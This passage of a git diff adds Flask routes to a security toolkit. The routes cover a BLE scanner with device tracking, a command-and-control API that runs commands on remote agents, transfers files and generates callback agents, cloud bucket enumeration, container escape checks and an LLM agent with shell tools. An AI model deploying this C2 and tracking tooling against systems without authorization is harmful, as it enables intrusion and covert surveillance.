||||
yield f'data: {{"type":"keepalive"}}\n\n'
|
||||
finally:
|
||||
daemon.unsubscribe(q)
|
||||
|
||||
return Response(
|
||||
stream_with_context(generate()),
|
||||
mimetype='text/event-stream',
|
||||
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'},
|
||||
)
|
||||
76
web/routes/ble_scanner.py
Normal file
76
web/routes/ble_scanner.py
Normal file
@@ -0,0 +1,76 @@
|
||||
"""BLE Scanner routes."""
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
ble_scanner_bp = Blueprint('ble_scanner', __name__, url_prefix='/ble')
|
||||
|
||||
def _get_scanner():
|
||||
from modules.ble_scanner import get_ble_scanner
|
||||
return get_ble_scanner()
|
||||
|
||||
@ble_scanner_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('ble_scanner.html')
|
||||
|
||||
@ble_scanner_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
return jsonify(_get_scanner().get_status())
|
||||
|
||||
@ble_scanner_bp.route('/scan', methods=['POST'])
|
||||
@login_required
|
||||
def scan():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_scanner().scan(data.get('duration', 10.0)))
|
||||
|
||||
@ble_scanner_bp.route('/devices')
|
||||
@login_required
|
||||
def devices():
|
||||
return jsonify(_get_scanner().get_devices())
|
||||
|
||||
@ble_scanner_bp.route('/device/<address>')
|
||||
@login_required
|
||||
def device_detail(address):
|
||||
return jsonify(_get_scanner().get_device_detail(address))
|
||||
|
||||
@ble_scanner_bp.route('/read', methods=['POST'])
|
||||
@login_required
|
||||
def read_char():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_scanner().read_characteristic(data.get('address', ''), data.get('uuid', '')))
|
||||
|
||||
@ble_scanner_bp.route('/write', methods=['POST'])
|
||||
@login_required
|
||||
def write_char():
|
||||
data = request.get_json(silent=True) or {}
|
||||
value = bytes.fromhex(data.get('data_hex', '')) if data.get('data_hex') else data.get('data', '').encode()
|
||||
return jsonify(_get_scanner().write_characteristic(data.get('address', ''), data.get('uuid', ''), value))
|
||||
|
||||
@ble_scanner_bp.route('/vulnscan', methods=['POST'])
|
||||
@login_required
|
||||
def vuln_scan():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_scanner().vuln_scan(data.get('address')))
|
||||
|
||||
@ble_scanner_bp.route('/track', methods=['POST'])
|
||||
@login_required
|
||||
def track():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_scanner().track_device(data.get('address', '')))
|
||||
|
||||
@ble_scanner_bp.route('/track/<address>/history')
|
||||
@login_required
|
||||
def tracking_history(address):
|
||||
return jsonify(_get_scanner().get_tracking_history(address))
|
||||
|
||||
@ble_scanner_bp.route('/scan/save', methods=['POST'])
|
||||
@login_required
|
||||
def save_scan():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_scanner().save_scan(data.get('name')))
|
||||
|
||||
@ble_scanner_bp.route('/scans')
|
||||
@login_required
|
||||
def list_scans():
|
||||
return jsonify(_get_scanner().list_scans())
|
||||
134
web/routes/c2_framework.py
Normal file
134
web/routes/c2_framework.py
Normal file
@@ -0,0 +1,134 @@
|
||||
"""C2 Framework — web routes for command & control."""
|
||||
|
||||
from flask import Blueprint, render_template, request, jsonify, Response
|
||||
from web.auth import login_required
|
||||
|
||||
c2_framework_bp = Blueprint('c2_framework', __name__)
|
||||
|
||||
|
||||
def _svc():
|
||||
from modules.c2_framework import get_c2_server
|
||||
return get_c2_server()
|
||||
|
||||
|
||||
@c2_framework_bp.route('/c2/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('c2_framework.html')
|
||||
|
||||
|
||||
# ── Listeners ─────────────────────────────────────────────────────────────────
|
||||
|
||||
@c2_framework_bp.route('/c2/listeners', methods=['GET'])
|
||||
@login_required
|
||||
def list_listeners():
|
||||
return jsonify({'ok': True, 'listeners': _svc().list_listeners()})
|
||||
|
||||
|
||||
@c2_framework_bp.route('/c2/listeners', methods=['POST'])
|
||||
@login_required
|
||||
def start_listener():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_svc().start_listener(
|
||||
name=data.get('name', 'default'),
|
||||
host=data.get('host', '0.0.0.0'),
|
||||
port=data.get('port', 4444),
|
||||
))
|
||||
|
||||
|
||||
@c2_framework_bp.route('/c2/listeners/<name>', methods=['DELETE'])
|
||||
@login_required
|
||||
def stop_listener(name):
|
||||
return jsonify(_svc().stop_listener(name))
|
||||
|
||||
|
||||
# ── Agents ────────────────────────────────────────────────────────────────────
|
||||
|
||||
@c2_framework_bp.route('/c2/agents', methods=['GET'])
|
||||
@login_required
|
||||
def list_agents():
|
||||
return jsonify({'ok': True, 'agents': _svc().list_agents()})
|
||||
|
||||
|
||||
@c2_framework_bp.route('/c2/agents/<agent_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def remove_agent(agent_id):
|
||||
return jsonify(_svc().remove_agent(agent_id))
|
||||
|
||||
|
||||
# ── Tasks ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
@c2_framework_bp.route('/c2/agents/<agent_id>/exec', methods=['POST'])
|
||||
@login_required
|
||||
def exec_command(agent_id):
|
||||
data = request.get_json(silent=True) or {}
|
||||
command = data.get('command', '')
|
||||
if not command:
|
||||
return jsonify({'ok': False, 'error': 'No command'})
|
||||
return jsonify(_svc().execute_command(agent_id, command))
|
||||
|
||||
|
||||
@c2_framework_bp.route('/c2/agents/<agent_id>/download', methods=['POST'])
|
||||
@login_required
|
||||
def download_file(agent_id):
|
||||
data = request.get_json(silent=True) or {}
|
||||
path = data.get('path', '')
|
||||
if not path:
|
||||
return jsonify({'ok': False, 'error': 'No path'})
|
||||
return jsonify(_svc().download_file(agent_id, path))
|
||||
|
||||
|
||||
@c2_framework_bp.route('/c2/agents/<agent_id>/upload', methods=['POST'])
|
||||
@login_required
|
||||
def upload_file(agent_id):
|
||||
f = request.files.get('file')
|
||||
data = request.form
|
||||
path = data.get('path', '')
|
||||
if not f or not path:
|
||||
return jsonify({'ok': False, 'error': 'File and path required'})
|
||||
return jsonify(_svc().upload_file(agent_id, path, f.read()))
|
||||
|
||||
|
||||
@c2_framework_bp.route('/c2/tasks/<task_id>', methods=['GET'])
|
||||
@login_required
|
||||
def task_result(task_id):
|
||||
return jsonify(_svc().get_task_result(task_id))
|
||||
|
||||
|
||||
@c2_framework_bp.route('/c2/tasks', methods=['GET'])
|
||||
@login_required
|
||||
def list_tasks():
|
||||
agent_id = request.args.get('agent_id', '')
|
||||
return jsonify({'ok': True, 'tasks': _svc().list_tasks(agent_id)})
|
||||
|
||||
|
||||
# ── Agent Generation ──────────────────────────────────────────────────────────
|
||||
|
||||
@c2_framework_bp.route('/c2/generate', methods=['POST'])
|
||||
@login_required
|
||||
def generate_agent():
|
||||
data = request.get_json(silent=True) or {}
|
||||
host = data.get('host', '').strip()
|
||||
if not host:
|
||||
return jsonify({'ok': False, 'error': 'Callback host required'})
|
||||
result = _svc().generate_agent(
|
||||
host=host,
|
||||
port=data.get('port', 4444),
|
||||
agent_type=data.get('type', 'python'),
|
||||
interval=data.get('interval', 5),
|
||||
jitter=data.get('jitter', 2),
|
||||
)
|
||||
# Don't send filepath in API response
|
||||
result.pop('filepath', None)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@c2_framework_bp.route('/c2/oneliner', methods=['POST'])
|
||||
@login_required
|
||||
def get_oneliner():
|
||||
data = request.get_json(silent=True) or {}
|
||||
host = data.get('host', '').strip()
|
||||
if not host:
|
||||
return jsonify({'ok': False, 'error': 'Host required'})
|
||||
return jsonify(_svc().get_oneliner(host, data.get('port', 4444),
|
||||
data.get('type', 'python')))
|
||||
283
web/routes/chat.py
Normal file
283
web/routes/chat.py
Normal file
@@ -0,0 +1,283 @@
|
||||
"""Chat and Agent API routes — Hal chat with Agent system for module creation."""
|
||||
|
||||
import json
|
||||
import threading
|
||||
import time
|
||||
import uuid
|
||||
from pathlib import Path
|
||||
from flask import Blueprint, request, jsonify, Response
|
||||
from web.auth import login_required
|
||||
|
||||
chat_bp = Blueprint('chat', __name__, url_prefix='/api')
|
||||
|
||||
_agent_runs: dict = {} # run_id -> {'steps': [], 'done': bool, 'stop': threading.Event}
|
||||
_system_prompt = None
|
||||
|
||||
|
||||
def _get_system_prompt():
|
||||
"""Load the Hal system prompt from data/hal_system_prompt.txt."""
|
||||
global _system_prompt
|
||||
if _system_prompt is None:
|
||||
prompt_path = Path(__file__).parent.parent.parent / 'data' / 'hal_system_prompt.txt'
|
||||
if prompt_path.exists():
|
||||
_system_prompt = prompt_path.read_text(encoding='utf-8')
|
||||
else:
|
||||
_system_prompt = (
|
||||
"You are Hal, the AI agent for AUTARCH. You can create new modules, "
|
||||
"run shell commands, read and write files. When asked to create a module, "
|
||||
"use the create_module tool."
|
||||
)
|
||||
return _system_prompt
|
||||
|
||||
|
||||
def _ensure_model_loaded():
|
||||
"""Load the LLM model if not already loaded. Returns (llm, error)."""
|
||||
from core.llm import get_llm, LLMError
|
||||
llm = get_llm()
|
||||
if not llm.is_loaded:
|
||||
try:
|
||||
llm.load_model(verbose=False)
|
||||
except LLMError as e:
|
||||
return None, str(e)
|
||||
return llm, None
|
||||
|
||||
|
||||
@chat_bp.route('/chat', methods=['POST'])
|
||||
@login_required
|
||||
def chat():
|
||||
"""Handle chat messages — direct chat or agent mode based on user toggle.
|
||||
Streams response via SSE."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
message = data.get('message', '').strip()
|
||||
mode = data.get('mode', 'chat') # 'chat' (default) or 'agent'
|
||||
if not message:
|
||||
return jsonify({'error': 'No message provided'})
|
||||
|
||||
if mode == 'agent':
|
||||
return _handle_agent_chat(message)
|
||||
else:
|
||||
return _handle_direct_chat(message)
|
||||
|
||||
|
||||
def _handle_direct_chat(message):
|
||||
"""Direct chat mode — streams tokens from the LLM without the Agent system."""
|
||||
def generate():
|
||||
from core.llm import get_llm, LLMError
|
||||
|
||||
llm = get_llm()
|
||||
if not llm.is_loaded:
|
||||
yield f"data: {json.dumps({'type': 'status', 'content': 'Loading model...'})}\n\n"
|
||||
try:
|
||||
llm.load_model(verbose=False)
|
||||
except LLMError as e:
|
||||
yield f"data: {json.dumps({'type': 'error', 'content': f'Failed to load model: {e}'})}\n\n"
|
||||
yield f"data: {json.dumps({'done': True})}\n\n"
|
||||
return
|
||||
|
||||
system_prompt = _get_system_prompt()
|
||||
try:
|
||||
token_gen = llm.chat(message, system_prompt=system_prompt, stream=True)
|
||||
for token in token_gen:
|
||||
yield f"data: {json.dumps({'token': token})}\n\n"
|
||||
except LLMError as e:
|
||||
yield f"data: {json.dumps({'type': 'error', 'content': str(e)})}\n\n"
|
||||
|
||||
yield f"data: {json.dumps({'done': True})}\n\n"
|
||||
|
||||
return Response(generate(), mimetype='text/event-stream',
|
||||
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
|
||||
|
||||
|
||||
def _handle_agent_chat(message):
|
||||
"""Agent mode — uses the Agent system with tools for complex tasks."""
|
||||
run_id = str(uuid.uuid4())
|
||||
stop_event = threading.Event()
|
||||
steps = []
|
||||
_agent_runs[run_id] = {'steps': steps, 'done': False, 'stop': stop_event}
|
||||
|
||||
def worker():
|
||||
try:
|
||||
from core.agent import Agent
|
||||
from core.tools import get_tool_registry
|
||||
from core.llm import get_llm, LLMError
|
||||
|
||||
llm = get_llm()
|
||||
if not llm.is_loaded:
|
||||
steps.append({'type': 'status', 'content': 'Loading model...'})
|
||||
try:
|
||||
llm.load_model(verbose=False)
|
||||
except LLMError as e:
|
||||
steps.append({'type': 'error', 'content': f'Failed to load model: {e}'})
|
||||
return
|
||||
|
||||
tools = get_tool_registry()
|
||||
agent = Agent(llm=llm, tools=tools, max_steps=20, verbose=False)
|
||||
|
||||
# Inject system prompt into agent
|
||||
system_prompt = _get_system_prompt()
|
||||
agent.SYSTEM_PROMPT = system_prompt + "\n\n{tools_description}"
|
||||
|
||||
def on_step(step):
|
||||
if step.thought:
|
||||
steps.append({'type': 'thought', 'content': step.thought})
|
||||
if step.tool_name and step.tool_name not in ('task_complete', 'ask_user'):
|
||||
steps.append({'type': 'action', 'content': f"{step.tool_name}({json.dumps(step.tool_args or {})})"})
|
||||
if step.tool_result:
|
||||
result = step.tool_result
|
||||
if len(result) > 800:
|
||||
result = result[:800] + '...'
|
||||
steps.append({'type': 'result', 'content': result})
|
||||
|
||||
result = agent.run(message, step_callback=on_step)
|
||||
|
||||
if result.success:
|
||||
steps.append({'type': 'answer', 'content': result.summary})
|
||||
else:
|
||||
steps.append({'type': 'error', 'content': result.error or result.summary})
|
||||
|
||||
except Exception as e:
|
||||
steps.append({'type': 'error', 'content': str(e)})
|
||||
finally:
|
||||
_agent_runs[run_id]['done'] = True
|
||||
|
||||
threading.Thread(target=worker, daemon=True).start()
|
||||
|
||||
# Stream the agent steps as SSE
|
||||
def generate():
|
||||
run = _agent_runs.get(run_id)
|
||||
if not run:
|
||||
yield f"data: {json.dumps({'error': 'Run not found'})}\n\n"
|
||||
return
|
||||
sent = 0
|
||||
while True:
|
||||
current_steps = run['steps']
|
||||
while sent < len(current_steps):
|
||||
yield f"data: {json.dumps(current_steps[sent])}\n\n"
|
||||
sent += 1
|
||||
if run['done']:
|
||||
yield f"data: {json.dumps({'done': True})}\n\n"
|
||||
return
|
||||
time.sleep(0.15)
|
||||
|
||||
return Response(generate(), mimetype='text/event-stream',
|
||||
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
|
||||
|
||||
|
||||
@chat_bp.route('/chat/reset', methods=['POST'])
|
||||
@login_required
|
||||
def chat_reset():
|
||||
"""Clear LLM conversation history."""
|
||||
try:
|
||||
from core.llm import get_llm
|
||||
llm = get_llm()
|
||||
if hasattr(llm, 'clear_history'):
|
||||
llm.clear_history()
|
||||
elif hasattr(llm, 'reset'):
|
||||
llm.reset()
|
||||
elif hasattr(llm, 'conversation_history'):
|
||||
llm.conversation_history = []
|
||||
except Exception:
|
||||
pass
|
||||
return jsonify({'ok': True})
|
||||
|
||||
|
||||
@chat_bp.route('/chat/status')
|
||||
@login_required
|
||||
def chat_status():
|
||||
"""Get LLM model status."""
|
||||
try:
|
||||
from core.llm import get_llm
|
||||
llm = get_llm()
|
||||
return jsonify({
|
||||
'loaded': llm.is_loaded,
|
||||
'model': llm.model_name if llm.is_loaded else None,
|
||||
})
|
||||
except Exception as e:
|
||||
return jsonify({'loaded': False, 'error': str(e)})
|
||||
|
||||
|
||||
@chat_bp.route('/agent/run', methods=['POST'])
|
||||
@login_required
|
||||
def agent_run():
|
||||
"""Start an autonomous agent run in a background thread. Returns run_id."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
task = data.get('task', '').strip()
|
||||
if not task:
|
||||
return jsonify({'error': 'No task provided'})
|
||||
|
||||
run_id = str(uuid.uuid4())
|
||||
stop_event = threading.Event()
|
||||
steps = []
|
||||
_agent_runs[run_id] = {'steps': steps, 'done': False, 'stop': stop_event}
|
||||
|
||||
def worker():
|
||||
try:
|
||||
from core.agent import Agent
|
||||
from core.tools import get_tool_registry
|
||||
from core.llm import get_llm, LLMError
|
||||
|
||||
llm = get_llm()
|
||||
if not llm.is_loaded:
|
||||
try:
|
||||
llm.load_model(verbose=False)
|
||||
except LLMError as e:
|
||||
steps.append({'type': 'error', 'content': f'Failed to load model: {e}'})
|
||||
return
|
||||
|
||||
tools = get_tool_registry()
|
||||
agent = Agent(llm=llm, tools=tools, verbose=False)
|
||||
|
||||
# Inject system prompt
|
||||
system_prompt = _get_system_prompt()
|
||||
agent.SYSTEM_PROMPT = system_prompt + "\n\n{tools_description}"
|
||||
|
||||
def on_step(step):
|
||||
steps.append({'type': 'thought', 'content': step.thought})
|
||||
if step.tool_name and step.tool_name not in ('task_complete', 'ask_user'):
|
||||
steps.append({'type': 'action', 'content': f"{step.tool_name}({json.dumps(step.tool_args or {})})"})
|
||||
if step.tool_result:
|
||||
steps.append({'type': 'result', 'content': step.tool_result[:800]})
|
||||
|
||||
agent.run(task, step_callback=on_step)
|
||||
except Exception as e:
|
||||
steps.append({'type': 'error', 'content': str(e)})
|
||||
finally:
|
||||
_agent_runs[run_id]['done'] = True
|
||||
|
||||
threading.Thread(target=worker, daemon=True).start()
|
||||
return jsonify({'run_id': run_id})
|
||||
|
||||
|
||||
@chat_bp.route('/agent/stream/<run_id>')
|
||||
@login_required
|
||||
def agent_stream(run_id):
|
||||
"""SSE stream of agent steps for a given run_id."""
|
||||
def generate():
|
||||
run = _agent_runs.get(run_id)
|
||||
if not run:
|
||||
yield f"data: {json.dumps({'error': 'Run not found'})}\n\n"
|
||||
return
|
||||
sent = 0
|
||||
while True:
|
||||
current_steps = run['steps']
|
||||
while sent < len(current_steps):
|
||||
yield f"data: {json.dumps(current_steps[sent])}\n\n"
|
||||
sent += 1
|
||||
if run['done']:
|
||||
yield f"data: {json.dumps({'done': True})}\n\n"
|
||||
return
|
||||
time.sleep(0.15)
|
||||
|
||||
return Response(generate(), mimetype='text/event-stream',
|
||||
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
|
||||
|
||||
|
||||
@chat_bp.route('/agent/stop/<run_id>', methods=['POST'])
|
||||
@login_required
|
||||
def agent_stop(run_id):
|
||||
"""Signal a running agent to stop."""
|
||||
run = _agent_runs.get(run_id)
|
||||
if run:
|
||||
run['stop'].set()
|
||||
run['done'] = True
|
||||
return jsonify({'stopped': bool(run)})
|
||||
60
web/routes/cloud_scan.py
Normal file
60
web/routes/cloud_scan.py
Normal file
@@ -0,0 +1,60 @@
|
||||
"""Cloud Security Scanner routes."""
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
cloud_scan_bp = Blueprint('cloud_scan', __name__, url_prefix='/cloud')
|
||||
|
||||
def _get_scanner():
|
||||
from modules.cloud_scan import get_cloud_scanner
|
||||
return get_cloud_scanner()
|
||||
|
||||
@cloud_scan_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('cloud_scan.html')
|
||||
|
||||
@cloud_scan_bp.route('/s3/enum', methods=['POST'])
|
||||
@login_required
|
||||
def s3_enum():
|
||||
data = request.get_json(silent=True) or {}
|
||||
job_id = _get_scanner().enum_s3_buckets(
|
||||
data.get('keyword', ''), data.get('prefixes'), data.get('suffixes')
|
||||
)
|
||||
return jsonify({'ok': bool(job_id), 'job_id': job_id})
|
||||
|
||||
@cloud_scan_bp.route('/gcs/enum', methods=['POST'])
|
||||
@login_required
|
||||
def gcs_enum():
|
||||
data = request.get_json(silent=True) or {}
|
||||
job_id = _get_scanner().enum_gcs_buckets(data.get('keyword', ''))
|
||||
return jsonify({'ok': bool(job_id), 'job_id': job_id})
|
||||
|
||||
@cloud_scan_bp.route('/azure/enum', methods=['POST'])
|
||||
@login_required
|
||||
def azure_enum():
|
||||
data = request.get_json(silent=True) or {}
|
||||
job_id = _get_scanner().enum_azure_blobs(data.get('keyword', ''))
|
||||
return jsonify({'ok': bool(job_id), 'job_id': job_id})
|
||||
|
||||
@cloud_scan_bp.route('/services', methods=['POST'])
|
||||
@login_required
|
||||
def exposed_services():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_scanner().scan_exposed_services(data.get('target', '')))
|
||||
|
||||
@cloud_scan_bp.route('/metadata')
|
||||
@login_required
|
||||
def metadata():
|
||||
return jsonify(_get_scanner().check_metadata_access())
|
||||
|
||||
@cloud_scan_bp.route('/subdomains', methods=['POST'])
|
||||
@login_required
|
||||
def subdomains():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_scanner().enum_cloud_subdomains(data.get('domain', '')))
|
||||
|
||||
@cloud_scan_bp.route('/job/<job_id>')
|
||||
@login_required
|
||||
def job_status(job_id):
|
||||
job = _get_scanner().get_job(job_id)
|
||||
return jsonify(job or {'error': 'Job not found'})
|
||||
176
web/routes/container_sec.py
Normal file
176
web/routes/container_sec.py
Normal file
@@ -0,0 +1,176 @@
|
||||
"""Container Security routes."""
|
||||
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
container_sec_bp = Blueprint('container_sec', __name__, url_prefix='/container-sec')
|
||||
|
||||
|
||||
def _get_cs():
|
||||
from modules.container_sec import get_container_sec
|
||||
return get_container_sec()
|
||||
|
||||
|
||||
# ── Pages ────────────────────────────────────────────────────────────────────
|
||||
|
||||
@container_sec_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('container_sec.html')
|
||||
|
||||
|
||||
# ── Status ───────────────────────────────────────────────────────────────────
|
||||
|
||||
@container_sec_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
"""Check Docker and kubectl availability."""
|
||||
cs = _get_cs()
|
||||
return jsonify({
|
||||
'docker': cs.check_docker_installed(),
|
||||
'kubectl': cs.check_kubectl_installed(),
|
||||
})
|
||||
|
||||
|
||||
# ── Docker: Host Audit ──────────────────────────────────────────────────────
|
||||
|
||||
@container_sec_bp.route('/docker/audit', methods=['POST'])
|
||||
@login_required
|
||||
def docker_audit():
|
||||
"""Audit Docker host configuration."""
|
||||
findings = _get_cs().audit_docker_host()
|
||||
return jsonify({'findings': findings, 'total': len(findings)})
|
||||
|
||||
|
||||
# ── Docker: Containers ──────────────────────────────────────────────────────
|
||||
|
||||
@container_sec_bp.route('/docker/containers')
|
||||
@login_required
|
||||
def docker_containers():
|
||||
"""List Docker containers."""
|
||||
containers = _get_cs().list_containers(all=True)
|
||||
return jsonify({'containers': containers, 'total': len(containers)})
|
||||
|
||||
|
||||
@container_sec_bp.route('/docker/containers/<container_id>/audit', methods=['POST'])
|
||||
@login_required
|
||||
def docker_container_audit(container_id):
|
||||
"""Audit a specific container."""
|
||||
result = _get_cs().audit_container(container_id)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@container_sec_bp.route('/docker/containers/<container_id>/escape', methods=['POST'])
|
||||
@login_required
|
||||
def docker_container_escape(container_id):
|
||||
"""Check container escape vectors."""
|
||||
result = _get_cs().check_escape_vectors(container_id)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
# ── Docker: Images ───────────────────────────────────────────────────────────
|
||||
|
||||
@container_sec_bp.route('/docker/images')
|
||||
@login_required
|
||||
def docker_images():
|
||||
"""List local Docker images."""
|
||||
images = _get_cs().list_images()
|
||||
return jsonify({'images': images, 'total': len(images)})
|
||||
|
||||
|
||||
@container_sec_bp.route('/docker/images/scan', methods=['POST'])
|
||||
@login_required
|
||||
def docker_image_scan():
|
||||
"""Scan a Docker image for vulnerabilities."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
image_name = data.get('image_name', '').strip()
|
||||
if not image_name:
|
||||
return jsonify({'error': 'No image name provided'}), 400
|
||||
result = _get_cs().scan_image(image_name)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
# ── Dockerfile Lint ──────────────────────────────────────────────────────────
|
||||
|
||||
@container_sec_bp.route('/docker/lint', methods=['POST'])
|
||||
@login_required
|
||||
def docker_lint():
|
||||
"""Lint Dockerfile content for security issues."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
content = data.get('content', '')
|
||||
if not content.strip():
|
||||
return jsonify({'error': 'No Dockerfile content provided'}), 400
|
||||
findings = _get_cs().lint_dockerfile(content)
|
||||
return jsonify({'findings': findings, 'total': len(findings)})
|
||||
|
||||
|
||||
# ── Kubernetes: Namespaces & Pods ────────────────────────────────────────────
|
||||
|
||||
@container_sec_bp.route('/k8s/namespaces')
|
||||
@login_required
|
||||
def k8s_namespaces():
|
||||
"""List Kubernetes namespaces."""
|
||||
namespaces = _get_cs().k8s_get_namespaces()
|
||||
return jsonify({'namespaces': namespaces, 'total': len(namespaces)})
|
||||
|
||||
|
||||
@container_sec_bp.route('/k8s/pods')
|
||||
@login_required
|
||||
def k8s_pods():
|
||||
"""List pods in a namespace."""
|
||||
namespace = request.args.get('namespace', 'default')
|
||||
pods = _get_cs().k8s_get_pods(namespace=namespace)
|
||||
return jsonify({'pods': pods, 'total': len(pods)})
|
||||
|
||||
|
||||
@container_sec_bp.route('/k8s/pods/<name>/audit', methods=['POST'])
|
||||
@login_required
|
||||
def k8s_pod_audit(name):
|
||||
"""Audit a specific pod."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
namespace = data.get('namespace', 'default')
|
||||
result = _get_cs().k8s_audit_pod(name, namespace=namespace)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
# ── Kubernetes: RBAC, Secrets, Network Policies ──────────────────────────────
|
||||
|
||||
@container_sec_bp.route('/k8s/rbac', methods=['POST'])
|
||||
@login_required
|
||||
def k8s_rbac():
|
||||
"""Audit RBAC configuration."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
namespace = data.get('namespace') or None
|
||||
result = _get_cs().k8s_audit_rbac(namespace=namespace)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@container_sec_bp.route('/k8s/secrets', methods=['POST'])
|
||||
@login_required
|
||||
def k8s_secrets():
|
||||
"""Check secrets exposure."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
namespace = data.get('namespace', 'default')
|
||||
result = _get_cs().k8s_check_secrets(namespace=namespace)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@container_sec_bp.route('/k8s/network', methods=['POST'])
|
||||
@login_required
|
||||
def k8s_network():
|
||||
"""Check network policies."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
namespace = data.get('namespace', 'default')
|
||||
result = _get_cs().k8s_check_network_policies(namespace=namespace)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
# ── Export ───────────────────────────────────────────────────────────────────
|
||||
|
||||
@container_sec_bp.route('/export')
|
||||
@login_required
|
||||
def export():
|
||||
"""Export all audit results."""
|
||||
fmt = request.args.get('format', 'json')
|
||||
result = _get_cs().export_results(fmt=fmt)
|
||||
return jsonify(result)
|
||||
96
web/routes/counter.py
Normal file
96
web/routes/counter.py
Normal file
@@ -0,0 +1,96 @@
|
||||
"""Counter-intelligence category route - threat detection and login analysis endpoints."""
|
||||
|
||||
from flask import Blueprint, render_template, request, jsonify
|
||||
from web.auth import login_required
|
||||
|
||||
counter_bp = Blueprint('counter', __name__, url_prefix='/counter')
|
||||
|
||||
|
||||
@counter_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
from core.menu import MainMenu
|
||||
menu = MainMenu()
|
||||
menu.load_modules()
|
||||
modules = {k: v for k, v in menu.modules.items() if v.category == 'counter'}
|
||||
return render_template('counter.html', modules=modules)
|
||||
|
||||
|
||||
@counter_bp.route('/scan', methods=['POST'])
|
||||
@login_required
|
||||
def scan():
|
||||
"""Run full threat scan."""
|
||||
from modules.counter import Counter as CounterModule
|
||||
c = CounterModule()
|
||||
c.check_suspicious_processes()
|
||||
c.check_network_connections()
|
||||
c.check_login_anomalies()
|
||||
c.check_file_integrity()
|
||||
c.check_scheduled_tasks()
|
||||
c.check_rootkits()
|
||||
|
||||
high = sum(1 for t in c.threats if t['severity'] == 'high')
|
||||
medium = sum(1 for t in c.threats if t['severity'] == 'medium')
|
||||
low = sum(1 for t in c.threats if t['severity'] == 'low')
|
||||
|
||||
return jsonify({
|
||||
'threats': c.threats,
|
||||
'summary': f'{len(c.threats)} threats found ({high} high, {medium} medium, {low} low)',
|
||||
})
|
||||
|
||||
|
||||
@counter_bp.route('/check/<check_name>', methods=['POST'])
|
||||
@login_required
|
||||
def check(check_name):
|
||||
"""Run individual threat check."""
|
||||
from modules.counter import Counter as CounterModule
|
||||
c = CounterModule()
|
||||
|
||||
checks_map = {
|
||||
'processes': c.check_suspicious_processes,
|
||||
'network': c.check_network_connections,
|
||||
'logins': c.check_login_anomalies,
|
||||
'integrity': c.check_file_integrity,
|
||||
'tasks': c.check_scheduled_tasks,
|
||||
'rootkits': c.check_rootkits,
|
||||
}
|
||||
|
||||
func = checks_map.get(check_name)
|
||||
if not func:
|
||||
return jsonify({'error': f'Unknown check: {check_name}'}), 400
|
||||
|
||||
func()
|
||||
|
||||
if not c.threats:
|
||||
return jsonify({'threats': [], 'message': 'No threats found'})
|
||||
return jsonify({'threats': c.threats})
|
||||
|
||||
|
||||
@counter_bp.route('/logins')
|
||||
@login_required
|
||||
def logins():
|
||||
"""Login anomaly analysis with GeoIP enrichment."""
|
||||
from modules.counter import Counter as CounterModule
|
||||
c = CounterModule()
|
||||
attempts = c.parse_auth_logs()
|
||||
|
||||
if not attempts:
|
||||
return jsonify({'attempts': [], 'error': 'No failed login attempts found or could not read logs'})
|
||||
|
||||
# Enrich top 15 IPs with GeoIP
|
||||
sorted_ips = sorted(attempts.values(), key=lambda x: x.count, reverse=True)[:15]
|
||||
c.enrich_login_attempts({a.ip: a for a in sorted_ips}, show_progress=False)
|
||||
|
||||
result = []
|
||||
for attempt in sorted_ips:
|
||||
result.append({
|
||||
'ip': attempt.ip,
|
||||
'count': attempt.count,
|
||||
'usernames': attempt.usernames[:10],
|
||||
'country': attempt.country or '',
|
||||
'city': attempt.city or '',
|
||||
'isp': attempt.isp or '',
|
||||
'hostname': attempt.hostname or '',
|
||||
})
|
||||
|
||||
return jsonify({'attempts': result})
|
||||
142
web/routes/dashboard.py
Normal file
142
web/routes/dashboard.py
Normal file
@@ -0,0 +1,142 @@
|
||||
"""Dashboard route - main landing page"""
|
||||
|
||||
import platform
|
||||
import shutil
|
||||
import socket
|
||||
import time
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from flask import Blueprint, render_template, current_app, jsonify
|
||||
from markupsafe import Markup
|
||||
from web.auth import login_required
|
||||
|
||||
